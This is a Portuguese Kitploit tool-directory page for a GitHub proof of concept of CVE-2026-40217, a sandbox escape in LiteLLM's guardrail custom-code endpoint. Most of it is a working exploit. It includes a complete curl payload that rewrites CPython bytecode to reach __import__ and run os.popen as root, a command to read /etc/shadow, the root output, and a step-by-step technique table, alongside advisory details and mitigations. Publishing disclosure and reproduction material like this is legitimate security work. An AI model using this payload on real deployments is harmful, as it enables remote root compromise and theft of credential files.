Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-40217-PoC — O código para reproduzir pessoalmente a vulnerabilidade correspondente | Kitploit
Ferramentas/GitHubGitHub/learner202649/cve-2026-40217-poc
Segurança de ContêineresAnálise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e Educação
GitHublearner202649/cve-2026-40217-poc

CVE-2026-40217-PoC

O código para reproduzir pessoalmente a vulnerabilidade correspondente

Ver Repositório
há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-40217 — Escape da Sandbox do Guardrail do LiteLLM

LiteLLM POST /guardrails/test_custom_code — Escape da Sandbox levando a Execução Remota de Código (RCE) como root na implantação padrão do Docker.

CampoValor
CVECVE-2026-40217
CVSS8.8 (ALTO) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWECWE-913 (Controle Inadequado de Recursos de Código Gerenciados Dinamicamente) / CWE-94
AfetadoLiteLLM ≤ 2026-04-08 (pré-v1.83.11)
Corrigidov1.83.11+ (substituiu sandbox artesanal por RestrictedPython)
DescobridorMarkus Vervier — X41 D-Sec GmbH
Publicado2026-04-08
LinkAdvertência X41 • GHSA-wxxx-gvqv-xp7p • oss-security

Descrição

O endpoint POST /guardrails/test_custom_code no LiteLLM permite que usuários autenticados enviem código Python arbitrário para teste de guardrails. O endpoint tenta restringir operações perigosas usando filtragem de código-fonte baseada em regex, mas isso pode ser completamente contornado usando técnicas de reescrita de bytecode CPython, levando à execução arbitrária de código no processo do proxy. Na imagem Docker padrão, o proxy é executado como root, agravando o impacto.


Prova de Conceito

Pré-requisitos

root@kitploit:~
# Install Python dependencies (required by exploit.py)
pip install -r requirements.txt

Início Rápido (Docker)

⚠️ Importante: O docker-compose.yml fixa a imagem vulnerável a um digest específico (sha256:7c311546...) de 22 de março de 2026. Não altere a tag para main-latest ou qualquer versão mais nova — imagens posteriores podem já conter a correção (RestrictedPython) mesmo que o número da versão sugira o contrário (ex.: v1.83.10-stable foi reconstruída após o patch e não é vulnerável).

root@kitploit:~
# 1. Install dependencies (if not already done)
pip install -r requirements.txt

# 2. Start a vulnerable LiteLLM instance
docker compose up -d

# 3. Run the exploit
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key"

# 4. Read sensitive files (change the --cmd argument)
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key" \
    --cmd "cat /etc/shadow"

# Or using curl directly
curl -s -X POST \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  http://localhost:4000/guardrails/test_custom_code \
  -d '{
    "custom_code": "def apply_guardrail(inputs, request_data, input_type):\n    obj = str.mro()[1]\n    def g(fn):\n        yield fn.placeholder\n    c = g(None).gi_code\n    gn = \"_\"+\"_gl\"+\"ob\"+\"als\"+\"_\"+\"_\"\n    cn = \"_\"+\"_co\"+\"de_\"+\"_\"\n    obj.__setattr__(g, cn, c.replace(co_names=(gn,)))\n    for v in g(http_get):\n        gd = v\n        break\n    bn = \"_\"+\"_bu\"+\"ilt\"+\"ins\"+\"_\"+\"_\"\n    imp = gd[bn][\"_\"+\"_im\"+\"po\"+\"rt_\"+\"_\"]\n    return {\"rce\": imp(\"os\").popen(\"id\").read()}",
    "test_input": {"messages": [{"role": "user", "content": "test"}]}
  }'

Resultado Esperado

root@kitploit:~
{"success":true,"result":{"rce":"uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\n"},"error":null,"error_type":null}

Técnica de Escape da Sandbox (6 Passos)


Estrutura do Repositório

root@kitploit:~
CVE-2026-40217/
├── README.md                  # This file
├── docker-compose.yml         # One-command vulnerable environment
├── requirements.txt           # Dependencies
├── exploit/
│   ├── exploit.py             # Full exploit script
│   └── payload.py             # Bytecode payload module
├── docs/
│   └── advisory.md            # Translated advisory details
└── screenshots/               # Proof screenshots

Mitigação

  1. Atualizar para LiteLLM v1.83.11+ (usa RestrictedPython em vez de sandbox artesanal)
  2. Bloquear /guardrails/test_custom_code no seu proxy reverso / gateway de API
  3. Restringir a chave mestra apenas a administradores confiáveis
  4. Executar como não-root no Docker: docker run --user 1000:1000 ...
  5. Não exponha a interface de gerenciamento a redes não confiáveis

Referências

  • X41 D-SEC Advisory x41-2026-001
  • GitHub Advisory GHSA-wxxx-gvqv-xp7p
  • GitLab Advisory
  • oss-security disclosure
  • NVD Detail

Aviso Legal: Este conteúdo é fornecido apenas para fins educacionais e testes de segurança autorizados.

Baixar ferramenta
PassoTécnicaCódigo
1Burla de regex via concatenação de strings"_"+"_gl"+"ob"+"als"+"_"+"_"
2Obter classe object via str.mro()[1]obj = str.mro()[1]
3Acessar objeto de código do gerador via gi_codec = g(None).gi_code
4Trocar __code__ da função via object.__setattr__obj.__setattr__(g, cn, c.replace(co_names=(gn,)))
5Extrair builtins reais de http_get.__globals__imp = gd["__builtins__"]["__import__"]
6Alcançar RCE via os.popenimp("os").popen("id").read()